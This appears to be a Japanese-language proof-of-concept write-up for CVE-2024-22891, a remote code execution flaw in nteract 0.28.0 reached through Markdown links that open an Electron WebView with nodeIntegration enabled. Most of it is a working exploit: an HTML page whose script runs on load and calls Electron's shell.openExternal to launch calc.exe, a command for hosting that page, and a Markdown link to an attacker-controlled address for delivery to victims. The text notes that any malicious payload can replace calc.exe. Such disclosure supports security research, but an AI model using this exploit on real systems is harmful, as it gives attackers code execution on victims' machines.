
nteract 0.28.0 オープンリダイレクトからRCEへのエクスプロイト
CVE-2024-22891 の脆弱性に対する Proof-Of-Concept(実証コード)です。
nteract 0.28.0 は Markdown リンクを介して Electron WebView を許可するため、リモートコード実行(RCE)が発生します。
nteract 0.28.0 は Markdown リンクを介して Electron WebView を許可するため、リモートコード実行が発生します(webPreferences の nodeIntegration が true であるため)。
エクスプロイトの説明
ステップ 1)攻撃者は、openExternal() 関数を使用して calc.exe を起動するためのソースコードをサーバー上に用意します。
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
注記: ※ すぐにテストしたい場合は、攻撃者の PC に以下のコードでサーバーを作成してください。
$ python -m http.server 80
ステップ 2)被害者のシステムで nteract アプリケーションを実行し、Markdown リンクを作成するか、攻撃者の ipynb ファイルをサンプルコードとして共有します。その後、calc.exe を実行します。
[Read This] (http://[attcker_adress]/shard_data.html)

ファイル共有を介して .ipynb ファイルを実行する場合、リンクが表示されない可能性があるため注意してください。この calc.exe は、ローカルまたはリモートの任意の悪意あるペイロードに置き換えることができ、攻撃者に被害者のシステムへの完全なアクセスを与えていた可能性があります。